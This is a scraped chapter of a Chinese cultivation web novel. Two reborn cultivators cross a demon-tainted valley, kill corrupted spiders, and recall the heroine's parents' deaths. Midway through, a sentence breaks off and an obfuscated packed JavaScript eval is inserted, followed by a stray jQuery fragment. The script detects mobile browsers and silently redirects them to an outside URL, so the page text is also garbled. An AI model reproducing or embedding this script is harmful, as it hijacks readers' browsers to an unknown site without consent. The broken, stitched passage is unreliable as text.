37. 第三十七章
作品:《与疯批双双重生后》 离开仙盟的护山大阵不过半日,空气中的灵气便稀薄得令人心慌。
凌厉的剑光劈开云层,御剑而行的江凌月猛然压下剑尖,身形骤然停滞在高空。
紧随其后的顾长生险些撞上她,面上春风得意的笑容还未收起,便对上了江凌月有些凝重的目光。
他顺着她的目光向远方望去,只见远方的天空已经彻底沦为黑紫色,焦土绵延百里,肉眼根本望不见边际,这是通向宣州城所经历的第一个魔窟——庆丰山。
也是“江凌月”父母的葬身之地。
顾长生从善如流,面上笑容不减:“其实有些魔族是会飞的,我们不如下去呢?”
这一路她都没有搭理他一句话,任凭他说什么都一言不发,想来昨晚还是做的有点过分。
他的目光若有若无地扫视过江凌月侧颈那有些暧昧的红痕,笑容更盛。
听到这话,江凌月近乎施舍地瞥了他一眼,逐渐下降高度,灵力环绕,最终稳稳停在地上。
此处已经步入到庆丰山的范围,连带着地面都有些隐隐约约四溢的魔气,空气中弥漫着腥臭味,惨淡的阳光从乌云中漏出几缕,照亮光秃秃的山峰。
顾长生十分自然地将手搭在江凌月的肩头,金光一闪,一道咒言便附着于她身。
“防止魔气侵蚀的,”顾长生对上她有些疑问的目光,笑着解释,“师姐还不打算搭理我吗?”
江凌月收回目光,语气淡淡:“不要叫我师姐。”
顾长生问:“那叫你什么?”
“……我有名字。”她不打算和顾长生纠缠下去,挽了个利落的剑花将佩剑收起,向前走去。
顾长生紧跟其后,为了彰显自己十分有用,连忙追上解说:“魔族并不少,但神识扫过并没有发现聚集。”
言下之意,此处没有魔族所布下的埋伏。
语气要多得意有多得意,满脸写着邀功。
江凌月只是微微瞥他一眼,颔首不语,脚步一转就向着西北侧走去,那里有一道极为幽深的峡谷。
这峡谷不见天日,其内更是生机断绝,纯粹的无人区,不管是人还是魔都无法生存,深不可测的甬道内,正隐隐向外散发着诡异的恶臭。
江凌月站定脚步,呼出一口浊气,拿出一枚清心丹交予顾长生,“含在舌下,这里的瘴气能侵蚀心脉。”
顾长生眨了眨眼,握着那清心丹略有所思地反问:“可这峡谷是条死路。”
“不是,”话语之间,江凌月已经迈步而入,“我从里面逃出来过,里面有一段比较奇怪,能屏蔽神识,会被误认为死路。”
峡谷内部的光线骤然暗淡,仅剩头顶一线扭曲的天空所投下微弱的光。脚下的路布满碎石,踩上去发出窸窸声响,回荡在这极为死寂的空间中。
恶臭愈发浓烈,一种混合着腐败血肉和魔气腥臭的刺鼻气味令人窒息,即使有清心丹,也一样令人作呕。
顾长生快走两步与江凌月并肩而行,略带试探的声音格外清晰:“师姐,你好像不是为了躲避魔族吧?”
江凌月的声音波澜不惊:“第一不要叫我师姐,第二我就是为了躲避无意义的魔族。”
顾长生自动忽略后半句,轻笑一声,将那两个字从舌尖轻轻吐出:“阿,月。”
“我叫你阿月好不好?”
江凌月脚步一顿,蹙眉看着他。
然而入目只有那张满面春风,甚至能称得上喜气洋洋的帅脸。
她强忍着想要一巴掌扇过去的冲动,只觉着太阳穴神经突突地跳:“叫我名字,或者叫我司主,你是真听不懂话?”
“啊,当然不是因为这种简单的原因。”顾长生露出个十分讨好的笑容,但话里话外全是欠揍的语气,“翟景叫你江凌月,翟正叫你月儿,翟那什么老东西,不记得了,反正大概是个正常人吧,他叫你江司主,人人都喊你这几个称呼。我和他们不一样,对于你来说我很重要,自然要一个特殊的称呼。”
“……”江凌月面无表情,“乔雪也喊我师姐。”
顾长生立刻否认,“女的不算。”
“我父母喊我阿月。”
“死人也不算。”
“……”江凌月面无表情,“你对我来说不重要,不需要特殊的称呼。”
顾长生加重语气:“没事无所谓,你对我而言重要就足够了,阿月。”
江凌月:“……”
她发誓,她这辈子没有这么无语过,排除这两世碰见的那几个说不清楚话的中年老头子,那几个共享一个大脑的神棍,绝对当属顾长生最听不懂人话。
江凌月彻底放弃同顾长生进行无意义辩论的想法,从此将顾长生划到对牛弹琴那一档。
见她不再说话,顾长生轻笑一声:“所以说到底,阿月你还是在意我,何必说什么我不重要呢,要不换个说辞吧?”
“比如其实我最重要这种。”
半晌,整个空间陷入彻底的死寂,江凌月立在原地,一言不发。
“你都不带其他人,就带我到宣州城。你要了其他人的生死契,偏偏不要我的。其他人要是这么惹了你,你早就发火了,但你每次都原谅我。你不是喜欢我是什么?我年轻帅气还能打,除魔杀敌样样精通,师姐,你早就……”
“是,我很在意你。”突然,江凌月微笑起来,态度突然一百八十度大转变,语气极为陌生。
“我一直都知道你非常强,能力更是数一数二。啊……不好意思忘了,你毕竟是这个世界传说的神君,是普度众生的存在。”
顾长生原先的笑容突然凝结在脸上,不知为什么他突然有一种不好的预感。
他深知江凌月是什么人,理性,高效,绝情却又深情,最起码是绝对不可能现在就爱上他。
果不其然,下一秒就看着她伸手遥遥一指远方,优雅切矜贵,“这里确实没有魔族,但是会有被魔气污染的魔兽,你去杀了它们,也算了却我一桩心愿,苍梧神君。”
“……”顾长生用神识一扫而过,就发现那边的高空盘踞着数只被魔气侵染的巨型蜘蛛,各个肥头大脑,足有两人高,五六人宽。
好杀,但杀完后会极其狼狈,不是浑身魔气就是满身恶臭蛛丝。
他转头看向江凌月,却见这她满面微笑,摆明了作壁上观的态度,甚至在察觉到他有些惊讶的目光后,唇角的弧度更为上挑。
顾长生的喉结滚动了一下,略带无奈地叹气:“其实撑个结界从下面通过就可以了,师姐你是故意的吧?”
江凌月故作惊讶:“苍梧神君怎么这么想我,我是希望您为民除害啊!您不会是害怕杀了那几只魔物会脏了您的手吧?”
这一声声的恭维,彻底拿捏住了顾长生犯贱的心理,却也让他心底颤颤,总觉着江凌月将来大概率要拿这声“苍梧神君”拿捏他半辈子。
那怎么办呢,他确实永远拒绝不了她啊。
他慢条斯理地抽出腰间佩剑,在空中划出道十分华丽的光芒,“既然阿月这般要求,那就只能送它们上路了。”
话音刚落,他便如离弦之箭冲向半空,凌厉的剑风狠狠攻向那几只魔蛛。
轰!
受惊的魔蛛仰天长啸,尾部喷出漫天蛛丝,条条都有婴孩小臂粗细,散发着浓烈的恶臭和腐蚀性铺天盖地,冲向顾长生。
顾长生连忙又是一剑,同时撑起结界护住自身。
轰轰轰!
地面震颤,石块崩裂,石壁坍塌。
远方江凌月闲庭信步向此处走来,颇有种观光赏花之意。
尘埃散尽,顾长生略带无奈地从烟尘中钻出,手中掐了一个又一个净身决,“阿月,所以你就图这个?”
图他一身蛛丝,满地酸液,图他狼狈地转身?
五六只魔蛛死的透彻,正向外蔓延着魔气,顾长生还没看清江凌月表情,就听见她干净利落的声音命令道:“处理干净”,接着只能深深叹了口气。
剑刃划开掌心,他没有丝毫犹豫立刻将血液洒向远处,在空中燃灼出条长龙般的火焰,爆鸣声轰然响起。
极阳之体的血液同魔气碰撞,炸出巨大的力量,魔气被焚烧殆尽,所有魔蛛尸骨无存。
江凌月立刻察觉到不对,顾长生的动作……凌厉得有些过分了,好似自己的血液是什么烫手的东西,不能在他身边多待一秒就必须泼洒出去。
可先前在仙盟外的战斗,他不是这样的。
一个念头立刻跳入江凌月脑海中,她皱眉望向他:“你控制不了极阳之体的血液和魔气,二者只想相碰就会发生爆炸?”
下一秒,顾长生立刻就用灵力催动着伤口,仿佛先前一切都是错觉。可他擦剑的动作还是微微一顿,接着咧开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409965|177368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个极其开朗的笑容,承认:“是,师姐发现了。”
此话一出,江凌月心底猛然一沉,“此事还有谁知道?”
“理论上只有你和我,因为若是要对我不利的话,条件还是过于苛刻。”顾长生随意地甩了甩剑,随后收剑入鞘,满脸玩世不恭。
“足够浓郁的魔气,而且我全是外伤,再加上灵力见底……估计才有可能置我于死地吧?极阳之体就是上天降下的克制魔气的武器,阿月不用担心这点。”
江凌月的脸色立刻阴沉下来,某种意义上一旦魔气足够浓烈,顾长生本身就是个行走的炸弹。
他一哂,用下巴示意远方:“继续走吧,这里的魔气还不足以威胁我,我刚刚动作快单纯不想被那尸体炸一身。”
“以及,”他的语气突然放得十分温和,用眼角余光示意着江凌月,“那里有一座小坟。”
江凌月顺着他的目光望去,上面有她极其熟悉的字体——江修明与妻桓芷巧之墓。
出自她的手笔。
一阵不知何处吹来的微风掠过峡谷,卷起细微的沙尘,吹动她的衣摆。
江凌月垂下眼眸,从鼻腔中嗯了一声,“是,我那时逃到峡谷中,手中还有父母的衣服,便做了这个衣冠冢,你不说我都忘了。”
这话冷漠得像是在谈论其他人的故事,没有任何亲情可言,可偏偏顾长生还是在她那白皙的侧脸上捕捉到一丝无法察觉的僵硬。
只是那微微外露的情绪,不似怀念。
顾长生斟酌着用词,轻声说道:“所以,当时在庆丰山发生了什么?”
他好奇很久了,那是他没有能力观察的过去。
江凌月用眼角的余光扫过顾长生那已经平和的面孔,踏步向前。
二人之间一时无话,只有风声穿过峡谷的呜咽声,不知过了多久,江凌月突然开口询问:“你想知道什么?”
顾长生笑了笑:“当年在庆丰山发生的事,为什么你身上会有魔尊屠风的印记,为什么这里会堕为魔窟,为什么当年是翟景把你救出去的,还有很多其他的细节,这些我都想知道。”
“阿月,告诉我真相。”
问题一个接着一个,他的语气绝对算得上温和,可偏偏身上那漫不经心的威压却又隐隐四溢,带着股令人窒息的压迫。
江凌月觉着有些莫名其妙,她不知道顾长生在激动什么,却隐隐察觉顾长生又在隐瞒她。
但这些都不在她的思考范围内,系统钦定的气运之子再加上极阳之体,他的隐瞒不足以对任务产生影响。
“其实很简单,”她语气平静,公事公办地开始叙述,“三十二支小队,因信息不足覆灭近乎一半,我的……父母。”
她将这两个字在舌尖翻来覆去,还是选择念出,“当着我面直接堕魔,啃食对方的同时,互相咒骂对方修为过低,耽误我嫁给翟景。”
顾长生漏出个叹为观止的表情,表情不免有些玩味。
江凌月声音平淡:“逃入这个峡谷后我给他们磊了个衣冠冢,然后碰上魔兽,逃出峡谷后因体力不支和魔气过重晕倒,醒来时已经被翟景救了。”
“队伍里第四人是祈圣司的,给我身上下了最后的咒言后就被我父母吃了。唔……至于那个印记,据翟景说我晕倒的地方,身下就是用魔气画的这个印记,当时就用魔气追踪的咒言了,不过没有任何发现,再加上当时我被魔气浸染的程度较深,时间紧迫,所以没有深究便直接回了仙盟。”
顾长生喉头一滚,问:“没有了?”
“就这么多,你还想要什么?”
“没有,我就是……我的神识和灵力都被阻断了,查看不到前方的情况。”
江凌月点点头,刚要说什么突然目光一冷,伸手拦住顾长生。
就在前方十米开外,峭壁突出的巨石之下,漆黑的利爪和浓重的魔气正缓缓铺开。
周围陷入死寂,江凌月回望顾长生,用口型说了两个字:
有魔。
顾长生眯了眯眼,一手握住剑柄,小心翼翼地抽出佩剑,防止剑刃与剑鞘摩擦发出声音。
但江凌月突然一把按住顾长生,做了个手势:
原地待命不动,见机行事。
下一秒,只见光芒一闪,江凌月出手没有任何声息,神出鬼没的匕首划破空气,直攻向巨石之后的魔族。